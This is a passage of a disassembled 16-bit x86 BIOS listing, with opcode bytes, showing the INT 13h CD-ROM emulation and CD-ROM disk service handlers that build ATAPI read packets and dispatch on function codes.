mov word [bp-026h], strict word 00028h ; c7 46 da 28 00
xchg ah, al ; 86 c4
xchg dh, dl ; 86 d6
xchg dx, ax ; 92
mov word [bp-024h], ax ; 89 46 dc
mov word [bp-022h], dx ; 89 56 de
lea dx, [bx-001h] ; 8d 57 ff
shr dx, 1 ; d1 ea
shr dx, 1 ; d1 ea
inc dx ; 42
mov ax, dx ; 89 d0
xchg ah, al ; 86 c4
mov word [bp-01fh], ax ; 89 46 e1
les di, [bp-012h] ; c4 7e ee
mov word [es:di+00eh], dx ; 26 89 55 0e
mov word [es:di+010h], 00200h ; 26 c7 45 10 00 02
mov CL, strict byte 009h ; b1 09
mov ax, bx ; 89 d8
sal ax, CL ; d3 e0
mov dx, 00800h ; ba 00 08
sub dx, ax ; 29 c2
mov ax, dx ; 89 d0
and ah, 007h ; 80 e4 07
mov word [es:di+020h], ax ; 26 89 45 20
mov al, byte [bp-00eh] ; 8a 46 f2
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
add di, ax ; 01 c7
mov al, byte [es:di+022h] ; 26 8a 45 22
xor ah, ah ; 30 e4
sal ax, 1 ; d1 e0
mov word [bp-01ah], ax ; 89 46 e6
push word [bp-014h] ; ff 76 ec
xor ax, ax ; 31 c0
push ax ; 50
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
mov ax, bx ; 89 d8
xor di, di ; 31 ff
mov cx, strict word 00009h ; b9 09 00
sal ax, 1 ; d1 e0
rcl di, 1 ; d1 d7
loop 04129h ; e2 fa
push di ; 57
push ax ; 50
xor ax, ax ; 31 c0
push ax ; 50
mov al, byte [bp-00eh] ; 8a 46 f2
xor ah, ah ; 30 e4
mov cx, ss ; 8c d1
lea bx, [bp-026h] ; 8d 5e da
mov dx, strict word 0000ch ; ba 0c 00
mov di, word [bp-01ah] ; 8b 7e e6
call word [word di+0006ah] ; ff 95 6a 00
les bx, [bp-012h] ; c4 5e ee
mov word [es:bx+020h], strict word 00000h ; 26 c7 47 20 00 00
test ax, ax ; 85 c0
je short 0415bh ; 74 06
mov ax, strict word 0000dh ; b8 0d 00
jmp near 04244h ; e9 e9 00
mov es, [bp-016h] ; 8e 46 ea
mov al, byte [es:si+001h] ; 26 8a 44 01
cmp AL, strict byte 002h ; 3c 02
jc short 04173h ; 72 0d
jbe short 0418eh ; 76 26
cmp AL, strict byte 004h ; 3c 04
je short 0419eh ; 74 32
cmp AL, strict byte 003h ; 3c 03
je short 04196h ; 74 26
jmp near 041ech ; e9 79 00
cmp AL, strict byte 001h ; 3c 01
jne short 041ech ; 75 75
mov es, [bp-016h] ; 8e 46 ea
mov word [es:si+014h], strict word 0000fh ; 26 c7 44 14 0f 00
mov word [es:si+012h], strict word 00050h ; 26 c7 44 12 50 00
mov word [es:si+010h], strict word 00002h ; 26 c7 44 10 02 00
jmp short 041ech ; eb 5e
mov word [es:si+014h], strict word 00012h ; 26 c7 44 14 12 00
jmp short 04180h ; eb ea
mov word [es:si+014h], strict word 00024h ; 26 c7 44 14 24 00
jmp short 04180h ; eb e2
mov dx, 001c4h ; ba c4 01
mov ax, word [bp-014h] ; 8b 46 ec
call 01652h ; e8 ab d4
and AL, strict byte 03fh ; 24 3f
xor ah, ah ; 30 e4
mov es, [bp-016h] ; 8e 46 ea
mov word [es:si+014h], ax ; 26 89 44 14
mov dx, 001c4h ; ba c4 01
mov ax, word [bp-014h] ; 8b 46 ec
call 01652h ; e8 97 d4
and ax, 000c0h ; 25 c0 00
mov bx, ax ; 89 c3
sal bx, 1 ; d1 e3
sal bx, 1 ; d1 e3
mov dx, 001c5h ; ba c5 01
mov ax, word [bp-014h] ; 8b 46 ec
call 01652h ; e8 85 d4
xor ah, ah ; 30 e4
add ax, bx ; 01 d8
inc ax ; 40
mov es, [bp-016h] ; 8e 46 ea
mov word [es:si+012h], ax ; 26 89 44 12
mov dx, 001c3h ; ba c3 01
mov ax, word [bp-014h] ; 8b 46 ec
call 01652h ; e8 70 d4
xor ah, ah ; 30 e4
inc ax ; 40
mov es, [bp-016h] ; 8e 46 ea
mov word [es:si+010h], ax ; 26 89 44 10
mov es, [bp-016h] ; 8e 46 ea
cmp byte [es:si+001h], 000h ; 26 80 7c 01 00
je short 0422dh ; 74 37
cmp byte [es:si+002h], 000h ; 26 80 7c 02 00
jne short 04215h ; 75 18
mov dx, strict word 00010h ; ba 10 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 4c d4
mov bl, al ; 88 c3
or bl, 041h ; 80 cb 41
xor bh, bh ; 30 ff
mov dx, strict word 00010h ; ba 10 00
mov ax, strict word 00040h ; b8 40 00
jmp short 0422ah ; eb 15
mov dx, 00304h ; ba 04 03
mov ax, word [bp-018h] ; 8b 46 e8
call 01652h ; e8 34 d4
mov bl, al ; 88 c3
db 0feh, 0c3h
; inc bl ; fe c3
xor bh, bh ; 30 ff
mov dx, 00304h ; ba 04 03
mov ax, word [bp-018h] ; 8b 46 e8
call 01660h ; e8 33 d4
mov es, [bp-016h] ; 8e 46 ea
cmp byte [es:si+001h], 000h ; 26 80 7c 01 00
je short 0423bh ; 74 04
mov byte [es:si], 001h ; 26 c6 04 01
mov es, [bp-016h] ; 8e 46 ea
mov ah, byte [es:si+002h] ; 26 8a 64 02
xor al, al ; 30 c0
lea sp, [bp-00ah] ; 8d 66 f6
pop di ; 5f
pop si ; 5e
pop dx ; 5a
pop cx ; 59
pop bx ; 5b
pop bp ; 5d
retn ; c3
db 050h, 04eh, 049h, 048h, 047h, 046h, 045h, 044h, 043h, 042h, 041h, 018h, 016h, 015h, 014h, 011h
db 010h, 00dh, 00ch, 00bh, 00ah, 009h, 008h, 005h, 004h, 003h, 002h, 001h, 000h, 05eh, 046h, 04eh
db 043h, 083h, 043h, 0a8h, 043h, 078h, 043h, 0a8h, 043h, 078h, 043h, 0a7h, 045h, 08dh, 045h, 05eh
db 046h, 05eh, 046h, 08dh, 045h, 08dh, 045h, 08dh, 045h, 08dh, 045h, 08dh, 045h, 055h, 046h, 08dh
db 045h, 05eh, 046h, 05eh, 046h, 05eh, 046h, 05eh, 046h, 05eh, 046h, 05eh, 046h, 05eh, 046h, 05eh
db 046h, 05eh, 046h, 05eh, 046h, 05eh, 046h, 05eh, 046h
_int13_cdemu: ; 0xf42a7 LB 0x453
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 0002ch ; 83 ec 2c
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 b6 d3
mov di, 00366h ; bf 66 03
mov cx, ax ; 89 c1
mov si, di ; 89 fe
mov word [bp-012h], ax ; 89 46 ee
mov word [bp-018h], 00122h ; c7 46 e8 22 01
mov word [bp-016h], ax ; 89 46 ea
mov es, ax ; 8e c0
mov al, byte [es:di+003h] ; 26 8a 45 03
sal al, 1 ; d0 e0
mov byte [bp-006h], al ; 88 46 fa
mov al, byte [es:di+004h] ; 26 8a 45 04
add byte [bp-006h], al ; 00 46 fa
xor bx, bx ; 31 db
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 79 d3
mov es, cx ; 8e c1
cmp byte [es:di], 000h ; 26 80 3d 00
je short 042feh ; 74 0f
mov al, byte [es:di+002h] ; 26 8a 45 02
xor ah, ah ; 30 e4
mov dx, word [bp+012h] ; 8b 56 12
xor dh, dh ; 30 f6
cmp ax, dx ; 39 d0
je short 04328h ; 74 2a
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 2a d6
mov ax, word [bp+012h] ; 8b 46 12
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp+017h] ; 8a 46 17
push ax ; 50
mov ax, 0034ch ; b8 4c 03
push ax ; 50
mov ax, 00358h ; b8 58 03
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 54 d6
add sp, strict byte 0000ah ; 83 c4 0a
jmp near 04681h ; e9 59 03
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
cmp ax, strict word 00050h ; 3d 50 00
jnbe short 043a5h ; 77 71
push CS ; 0e
pop ES ; 07
mov cx, strict word 0001eh ; b9 1e 00
mov di, 0424eh ; bf 4e 42
repne scasb ; f2 ae
sal cx, 1 ; d1 e1
mov di, cx ; 89 cf
mov ax, word [cs:di+0426bh] ; 2e 8b 85 6b 42
mov bx, word [bp+016h] ; 8b 5e 16
xor bh, bh ; 30 ff
jmp ax ; ff e0
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
les bx, [bp-018h] ; c4 5e e8
add bx, ax ; 01 c3
mov bl, byte [es:bx+022h] ; 26 8a 5f 22
xor bh, bh ; 30 ff
sal bx, 1 ; d1 e3
cmp word [word bx+0006ah], strict byte 00000h ; 83 bf 6a 00 00
je short 04375h ; 74 09
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
call word [word bx+00076h] ; ff 97 76 00
jmp near 0458dh ; e9 15 02
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 003h ; 80 cc 03
jmp near 04689h ; e9 06 03
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 c6 d2
mov cl, al ; 88 c1
mov bh, al ; 88 c7
mov word [bp+016h], bx ; 89 5e 16
xor bx, bx ; 31 db
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 c2 d2
test cl, cl ; 84 c9
je short 04407h ; 74 65
jmp near 0469ah ; e9 f5 02
jmp near 0465eh ; e9 b6 02
mov es, [bp-012h] ; 8e 46 ee
mov di, word [es:si+014h] ; 26 8b 7c 14
mov dx, word [es:si+012h] ; 26 8b 54 12
mov bx, word [es:si+010h] ; 26 8b 5c 10
mov ax, word [es:si+008h] ; 26 8b 44 08
mov word [bp-00eh], ax ; 89 46 f2
mov ax, word [es:si+00ah] ; 26 8b 44 0a
mov word [bp-00ch], ax ; 89 46 f4
mov ax, word [bp+014h] ; 8b 46 14
and ax, strict word 0003fh ; 25 3f 00
mov word [bp-00ah], ax ; 89 46 f6
mov cx, word [bp+014h] ; 8b 4e 14
and cx, 000c0h ; 81 e1 c0 00
sal cx, 1 ; d1 e1
sal cx, 1 ; d1 e1
mov al, byte [bp+015h] ; 8a 46 15
or ax, cx ; 09 c8
mov cl, byte [bp+013h] ; 8a 4e 13
mov byte [bp-008h], cl ; 88 4e f8
mov byte [bp-007h], 000h ; c6 46 f9 00
mov si, word [bp-008h] ; 8b 76 f8
mov cx, word [bp+016h] ; 8b 4e 16
xor ch, ch ; 30 ed
mov word [bp-014h], cx ; 89 4e ec
test cx, cx ; 85 c9
je short 04414h ; 74 1d
cmp di, word [bp-00ah] ; 3b 7e f6
jc short 04404h ; 72 08
cmp ax, dx ; 39 d0
jnc short 04404h ; 73 04
cmp bx, si ; 39 f3
jnbe short 0440ah ; 77 06
jmp near 04681h ; e9 7a 02
jmp near 04591h ; e9 87 01
mov dl, byte [bp+017h] ; 8a 56 17
xor dh, dh ; 30 f6
cmp dx, strict byte 00004h ; 83 fa 04
jne short 04417h ; 75 03
jmp near 0458dh ; e9 76 01
mov CL, strict byte 004h ; b1 04
mov dx, word [bp+010h] ; 8b 56 10
shr dx, CL ; d3 ea
mov cx, dx ; 89 d1
mov dx, word [bp+006h] ; 8b 56 06
add dx, cx ; 01 ca
mov word [bp-020h], dx ; 89 56 e0
mov dx, word [bp+010h] ; 8b 56 10
and dx, strict byte 0000fh ; 83 e2 0f
mov word [bp-010h], dx ; 89 56 f0
xor dl, dl ; 30 d2
xor cx, cx ; 31 c9
call 0a150h ; e8 18 5d
xor bx, bx ; 31 db
add ax, si ; 01 f0
adc dx, bx ; 11 da
mov bx, di ; 89 fb
xor cx, cx ; 31 c9
call 0a150h ; e8 0b 5d
mov bx, ax ; 89 c3
mov ax, word [bp-00ah] ; 8b 46 f6
dec ax ; 48
xor cx, cx ; 31 c9
add ax, bx ; 01 d8
adc dx, cx ; 11 ca
mov bx, word [bp+016h] ; 8b 5e 16
xor bl, bl ; 30 db
mov cx, word [bp-014h] ; 8b 4e ec
or cx, bx ; 09 d9
mov word [bp+016h], cx ; 89 4e 16
mov si, ax ; 89 c6
mov di, dx ; 89 d7
shr di, 1 ; d1 ef
rcr si, 1 ; d1 de
shr di, 1 ; d1 ef
rcr si, 1 ; d1 de
mov word [bp-01eh], di ; 89 7e e2
mov di, ax ; 89 c7
and di, strict byte 00003h ; 83 e7 03
xor bh, bh ; 30 ff
add ax, word [bp-014h] ; 03 46 ec
adc dx, bx ; 11 da
add ax, strict word 0ffffh ; 05 ff ff
adc dx, strict byte 0ffffh ; 83 d2 ff
mov word [bp-024h], ax ; 89 46 dc
mov word [bp-022h], dx ; 89 56 de
shr word [bp-022h], 1 ; d1 6e de
rcr word [bp-024h], 1 ; d1 5e dc
shr word [bp-022h], 1 ; d1 6e de
rcr word [bp-024h], 1 ; d1 5e dc
mov cx, strict word 0000ch ; b9 0c 00
mov dx, ss ; 8c d2
lea ax, [bp-030h] ; 8d 46 d0
call 0a1c0h ; e8 24 5d
mov word [bp-030h], strict word 00028h ; c7 46 d0 28 00
mov ax, word [bp-00eh] ; 8b 46 f2
add ax, si ; 01 f0
mov dx, word [bp-00ch] ; 8b 56 f4
adc dx, word [bp-01eh] ; 13 56 e2
xchg ah, al ; 86 c4
xchg dh, dl ; 86 d6
xchg dx, ax ; 92
mov word [bp-02eh], ax ; 89 46 d2
mov word [bp-02ch], dx ; 89 56 d4
mov ax, word [bp-024h] ; 8b 46 dc
sub ax, si ; 29 f0
inc ax ; 40
xchg ah, al ; 86 c4
mov word [bp-029h], ax ; 89 46 d7
mov ax, word [bp-014h] ; 8b 46 ec
les bx, [bp-018h] ; c4 5e e8
mov word [es:bx+00eh], ax ; 26 89 47 0e
mov word [es:bx+010h], 00200h ; 26 c7 47 10 00 02
mov CL, strict byte 009h ; b1 09
mov ax, di ; 89 f8
sal ax, CL ; d3 e0
mov word [bp-01ah], ax ; 89 46 e6
mov word [es:bx+01eh], ax ; 26 89 47 1e
mov ax, word [bp-014h] ; 8b 46 ec
xor ah, ah ; 30 e4
and AL, strict byte 003h ; 24 03
mov dx, strict word 00004h ; ba 04 00
sub dx, ax ; 29 c2
mov ax, dx ; 89 d0
sub ax, di ; 29 f8
sal ax, CL ; d3 e0
and ah, 007h ; 80 e4 07
mov word [es:bx+020h], ax ; 26 89 47 20
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
add bx, ax ; 01 c3
mov al, byte [es:bx+022h] ; 26 8a 47 22
xor ah, ah ; 30 e4
sal ax, 1 ; d1 e0
mov word [bp-01ch], ax ; 89 46 e4
push word [bp-020h] ; ff 76 e0
push word [bp-010h] ; ff 76 f0
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
mov si, word [bp-014h] ; 8b 76 ec
xor di, di ; 31 ff
mov cx, strict word 00009h ; b9 09 00
sal si, 1 ; d1 e6
rcl di, 1 ; d1 d7
loop 04521h ; e2 fa
push di ; 57
push si ; 56
push word [bp-01ah] ; ff 76 e6
mov al, byte [bp-006h] ; 8a 46 fa
xor ah, ah ; 30 e4
mov cx, ss ; 8c d1
lea bx, [bp-030h] ; 8d 5e d0
mov dx, strict word 0000ch ; ba 0c 00
mov si, word [bp-01ch] ; 8b 76 e4
call word [word si+0006ah] ; ff 94 6a 00
mov dx, ax ; 89 c2
les bx, [bp-018h] ; c4 5e e8
mov word [es:bx+01eh], strict word 00000h ; 26 c7 47 1e 00 00
mov word [es:bx+020h], strict word 00000h ; 26 c7 47 20 00 00
test al, al ; 84 c0
je short 0458dh ; 74 38
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 d3 d3
mov al, dl ; 88 d0
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp+017h] ; 8a 46 17
push ax ; 50
mov ax, 0034ch ; b8 4c 03
push ax ; 50
mov ax, 0038eh ; b8 8e 03
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 fe d3
add sp, strict byte 0000ah ; 83 c4 0a
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 002h ; 80 cc 02
mov word [bp+016h], ax ; 89 46 16
mov byte [bp+016h], 000h ; c6 46 16 00
jmp near 0468ch ; e9 ff 00
mov byte [bp+017h], 000h ; c6 46 17 00
xor bx, bx ; 31 db
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 c4 d0
and byte [bp+01ch], 0feh ; 80 66 1c fe
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
mov es, [bp-012h] ; 8e 46 ee
mov di, word [es:si+014h] ; 26 8b 7c 14
mov dx, word [es:si+012h] ; 26 8b 54 12
dec dx ; 4a
mov bx, word [es:si+010h] ; 26 8b 5c 10
dec bx ; 4b
mov byte [bp+016h], 000h ; c6 46 16 00
mov cx, word [bp+010h] ; 8b 4e 10
xor cl, cl ; 30 c9
mov ax, word [bp+014h] ; 8b 46 14
xor ah, ah ; 30 e4
mov word [bp-01ch], ax ; 89 46 e4
mov ax, dx ; 89 d0
xor ah, dh ; 30 f4
mov word [bp-01ah], ax ; 89 46 e6
mov al, byte [bp-01ah] ; 8a 46 e6
mov byte [bp-019h], al ; 88 46 e7
mov byte [bp-01ah], cl ; 88 4e e6
mov ax, word [bp-01ch] ; 8b 46 e4
or ax, word [bp-01ah] ; 0b 46 e6
mov word [bp+014h], ax ; 89 46 14
shr dx, 1 ; d1 ea
shr dx, 1 ; d1 ea
xor dh, dh ; 30 f6
and dl, 0c0h ; 80 e2 c0
mov word [bp-01ah], dx ; 89 56 e6
mov dx, di ; 89 fa
xor dh, dh ; 30 f6
and dl, 03fh ; 80 e2 3f
or dx, word [bp-01ah] ; 0b 56 e6
xor al, al ; 30 c0
or ax, dx ; 09 d0
mov word [bp+014h], ax ; 89 46 14
mov dx, word [bp+012h] ; 8b 56 12
mov dh, bl ; 88 de
mov word [bp+012h], dx ; 89 56 12
mov ax, dx ; 89 d0
xor al, dl ; 30 d0
or AL, strict byte 002h ; 0c 02
mov word [bp+012h], ax ; 89 46 12
mov al, byte [es:si+001h] ; 26 8a 44 01
mov word [bp+010h], cx ; 89 4e 10
cmp AL, strict byte 003h ; 3c 03
je short 04637h ; 74 1c
cmp AL, strict byte 002h ; 3c 02
je short 0462fh ; 74 10
cmp AL, strict byte 001h ; 3c 01
jne short 0463ch ; 75 19
mov ax, word [bp+010h] ; 8b 46 10
xor al, al ; 30 c0
or AL, strict byte 002h ; 0c 02
mov word [bp+010h], ax ; 89 46 10
jmp short 0463ch ; eb 0d
or cl, 004h ; 80 c9 04
mov word [bp+010h], cx ; 89 4e 10
jmp short 0463ch ; eb 05
or cl, 005h ; 80 c9 05
jmp short 04632h ; eb f6
mov es, [bp-012h] ; 8e 46 ee
cmp byte [es:si+001h], 004h ; 26 80 7c 01 04
jc short 04649h ; 72 03
jmp near 0458dh ; e9 44 ff
mov word [bp+008h], 0efc7h ; c7 46 08 c7 ef
mov word [bp+006h], 0f000h ; c7 46 06 00 f0
jmp short 04646h ; eb f1
or bh, 003h ; 80 cf 03
mov word [bp+016h], bx ; 89 5e 16
jmp near 04591h ; e9 33 ff
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 ca d2
mov al, byte [bp+017h] ; 8a 46 17
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 0034ch ; b8 4c 03
push ax ; 50
mov ax, 003afh ; b8 af 03
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 f8 d2
add sp, strict byte 00008h ; 83 c4 08
mov ax, word [bp+016h] ; 8b 46 16
xor ah, ah ; 30 e4
or ah, 001h ; 80 cc 01
mov word [bp+016h], ax ; 89 46 16
mov bl, byte [bp+017h] ; 8a 5e 17
xor bh, bh ; 30 ff
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 c6 cf
or byte [bp+01ch], 001h ; 80 4e 1c 01
jmp near 045a0h ; e9 ff fe
db 050h, 04eh, 049h, 048h, 047h, 046h, 045h, 044h, 043h, 042h, 041h, 018h, 016h, 015h, 014h, 011h
db 010h, 00dh, 00ch, 00bh, 00ah, 009h, 008h, 005h, 004h, 003h, 002h, 001h, 000h, 0e3h, 047h, 028h
db 04ch, 0a5h, 047h, 0e3h, 047h, 09ah, 047h, 0e3h, 047h, 09ah, 047h, 0e3h, 047h, 028h, 04ch, 0e3h
db 047h, 0e3h, 047h, 028h, 04ch, 028h, 04ch, 028h, 04ch, 028h, 04ch, 028h, 04ch, 0c7h, 047h, 028h
db 04ch, 0e3h, 047h, 0d0h, 047h, 001h, 048h, 09ah, 047h, 001h, 048h, 04ah, 049h, 0eah, 049h, 001h
db 048h, 014h, 04ah, 042h, 04ch, 04ah, 04ch, 0e3h, 047h
_int13_cdrom: ; 0xf46fa LB 0x585
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 0002ah ; 83 ec 2a
mov dx, strict word 0000eh ; ba 0e 00
mov ax, strict word 00040h ; b8 40 00
call 0166eh ; e8 63 cf
mov word [bp-018h], ax ; 89 46 e8
mov word [bp-00eh], 00122h ; c7 46 f2 22 01
mov word [bp-00ch], ax ; 89 46 f4
xor bx, bx ; 31 db
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 3f cf
mov ax, word [bp+010h] ; 8b 46 10
xor ah, ah ; 30 e4
cmp ax, 000e0h ; 3d e0 00
jc short 04730h ; 72 05
cmp ax, 000f0h ; 3d f0 00
jc short 0474fh ; 72 1f
mov ax, word [bp+010h] ; 8b 46 10
xor ah, ah ; 30 e4
push ax ; 50
mov al, byte [bp+019h] ; 8a 46 19
push ax ; 50
mov ax, 003dfh ; b8 df 03
push ax ; 50
mov ax, 003ebh ; b8 eb 03
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 2d d2
add sp, strict byte 0000ah ; 83 c4 0a
jmp near 04c60h ; e9 11 05
mov ax, word [bp+010h] ; 8b 46 10
xor ah, ah ; 30 e4
les bx, [bp-00eh] ; c4 5e f2
add bx, ax ; 01 c3
mov dl, byte [es:bx+00114h] ; 26 8a 97 14 01
mov byte [bp-008h], dl ; 88 56 f8
cmp dl, 010h ; 80 fa 10
jc short 04774h ; 72 0e
push ax ; 50
mov al, byte [bp+019h] ; 8a 46 19
push ax ; 50
mov ax, 003dfh ; b8 df 03
push ax ; 50
mov ax, 00416h ; b8 16 04
jmp short 04741h ; eb cd
mov al, byte [bp+019h] ; 8a 46 19
xor ah, ah ; 30 e4
mov dx, ax ; 89 c2
cmp ax, strict word 00050h ; 3d 50 00
jnbe short 047e3h ; 77 63
push CS ; 0e
pop ES ; 07
mov cx, strict word 0001eh ; b9 1e 00
mov di, 046a1h ; bf a1 46
repne scasb ; f2 ae
sal cx, 1 ; d1 e1
mov di, cx ; 89 cf
mov ax, word [cs:di+046beh] ; 2e 8b 85 be 46
mov bx, word [bp+018h] ; 8b 5e 18
xor bh, bh ; 30 ff
jmp ax ; ff e0
mov ax, word [bp+018h] ; 8b 46 18
xor ah, ah ; 30 e4
or ah, 003h ; 80 cc 03
jmp near 04c68h ; e9 c3 04
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01652h ; e8 a4 ce
mov cl, al ; 88 c1
mov bh, al ; 88 c7
mov word [bp+018h], bx ; 89 5e 18
xor bx, bx ; 31 db
mov dx, strict word 00074h ; ba 74 00
mov ax, strict word 00040h ; b8 40 00
call 01660h ; e8 a0 ce
test cl, cl ; 84 c9
je short 047e0h ; 74 1c
jmp near 04c79h ; e9 b2 04
or bh, 002h ; 80 cf 02
mov word [bp+018h], bx ; 89 5e 18
jmp near 04c6bh ; e9 9b 04
mov word [bp+012h], 0aa55h ; c7 46 12 55 aa
or bh, 030h ; 80 cf 30
mov word [bp+018h], bx ; 89 5e 18
mov word [bp+016h], strict word 00007h ; c7 46 16 07 00
jmp near 04c2ch ; e9 49 04
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 45 d1
mov al, byte [bp+019h] ; 8a 46 19
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 003dfh ; b8 df 03
push ax ; 50
mov ax, 00333h ; b8 33 03
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
jmp short 04842h ; eb 41
mov bx, word [bp+00ch] ; 8b 5e 0c
mov es, [bp+006h] ; 8e 46 06
mov di, bx ; 89 df
mov [bp-020h], es ; 8c 46 e0
mov si, word [es:bx+002h] ; 26 8b 77 02
mov ax, word [es:bx+006h] ; 26 8b 47 06
mov word [bp-01ch], ax ; 89 46 e4
mov ax, word [es:bx+004h] ; 26 8b 47 04
mov word [bp-01ah], ax ; 89 46 e6
mov ax, word [es:bx+00ch] ; 26 8b 47 0c
mov word [bp-014h], ax ; 89 46 ec
mov ax, word [es:bx+00eh] ; 26 8b 47 0e
mov word [bp-012h], ax ; 89 46 ee
or ax, word [bp-014h] ; 0b 46 ec
je short 0484ch ; 74 1b
mov al, byte [bp+019h] ; 8a 46 19
xor ah, ah ; 30 e4
push ax ; 50
mov ax, 003dfh ; b8 df 03
push ax ; 50
mov ax, 00448h ; b8 48 04
push ax ; 50
mov ax, strict word 00007h ; b8 07 00
push ax ; 50
call 01976h ; e8 30 d1
add sp, strict byte 00008h ; 83 c4 08
jmp near 04c60h ; e9 14 04
mov es, [bp-020h] ; 8e 46 e0
mov ax, word [es:di+008h] ; 26 8b 45 08
mov word [bp-014h], ax ; 89 46 ec
mov ax, word [es:di+00ah] ; 26 8b 45 0a
mov word [bp-012h], ax ; 89 46 ee
mov al, byte [bp+019h] ; 8a 46 19
mov byte [bp-010h], al ; 88 46 f0
mov byte [bp-00fh], 000h ; c6 46 f1 00
mov ax, word [bp-010h] ; 8b 46 f0
cmp ax, strict word 00044h ; 3d 44 00
je short 04874h ; 74 05
cmp ax, strict word 00047h ; 3d 47 00
jne short 04877h ; 75 03
jmp near 04c28h ; e9 b1 03
mov cx, strict word 0000ch ; b9 0c 00
xor bx, bx ; 31 db
mov dx, ss ; 8c d2
lea ax, [bp-02eh] ; 8d 46 d2
call 0a1c0h ; e8 3c 59
mov word [bp-02eh], strict word 00028h ; c7 46 d2 28 00
mov ax, word [bp-014h] ; 8b 46 ec
mov dx, word [bp-012h] ; 8b 56 ee
xchg ah, al ; 86 c4
xchg dh, dl ; 86 d6
xchg dx, ax ; 92
mov word [bp-02ch], ax ; 89 46 d4
mov word [bp-02ah], dx ; 89 56 d6
mov ax, si ; 89 f0
xchg ah, al ; 86 c4
mov word [bp-027h], ax ; 89 46 d9
les bx, [bp-00eh] ; c4 5e f2
mov word [es:bx+00eh], si ; 26 89 77 0e
mov word [es:bx+010h], 00800h ; 26 c7 47 10 00 08
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov dx, strict word 0001ch ; ba 1c 00
imul dx ; f7 ea
add bx, ax ; 01 c3
mov al, byte [es:bx+022h] ; 26 8a 47 22
xor ah, ah ; 30 e4
sal ax, 1 ; d1 e0
mov word [bp-022h], ax ; 89 46 de
push word [bp-01ch] ; ff 76 e4
push word [bp-01ah] ; ff 76 e6
mov ax, strict word 00001h ; b8 01 00
push ax ; 50
mov bx, si ; 89 f3
xor si, si ; 31 f6
mov cx, strict word 0000bh ; b9 0b 00
sal bx, 1 ; d1 e3
rcl si, 1 ; d1 d6
loop 048d6h ; e2 fa
push si ; 56
push bx ; 53
xor ax, ax ; 31 c0
push ax ; 50
mov al, byte [bp-008h] ; 8a 46 f8
xor ah, ah ; 30 e4
mov cx, ss ; 8c d1
lea bx, [bp-02eh] ; 8d 5e d2
mov dx, strict word 0000ch ; ba 0c 00
mov si, word [bp-022h] ; 8b 76 de
call word [word si+0006ah] ; ff 94 6a 00
mov word [bp-016h], ax ; 89 46 ea
les bx, [bp-00eh] ; c4 5e f2
mov ax, word [es:bx+01ah] ; 26 8b 47 1a
mov dx, word [es:bx+01ch] ; 26 8b 57 1c
mov cx, strict word 0000bh ; b9 0b 00
shr dx, 1 ; d1 ea
rcr ax, 1 ; d1 d8
loop 04906h ; e2 fa
mov es, [bp-020h] ; 8e 46 e0
mov word [es:di+002h], ax ; 26 89 45 02
cmp byte [bp-016h], 000h ; 80 7e ea 00
je short 04970h ; 74 57
mov bx, 00da0h ; bb a0 0d
mov cx, ds ; 8c d9
mov ax, strict word 00004h ; b8 04 00
call 01933h ; e8 0f d0
mov al, byte [bp-016h] ; 8a 46 ea
xor ah, ah ; 30 e4
push ax ; 50
push word [bp-010h] ; ff 76 f0
mov ax, 003dfh ; b8 df 03
push ax ; 50
mov ax, 00471h ; b8 71 04
push ax ; 50
mov ax, strict word 00004h ; b8 04 00
push ax ; 50
call 01976h ; e8 3a d0
add sp, strict byte 0000ah ; 83 c4 0a
mov ax, word [bp+018h] ; 8b 46 18
xor ah, ah ; 30 e4
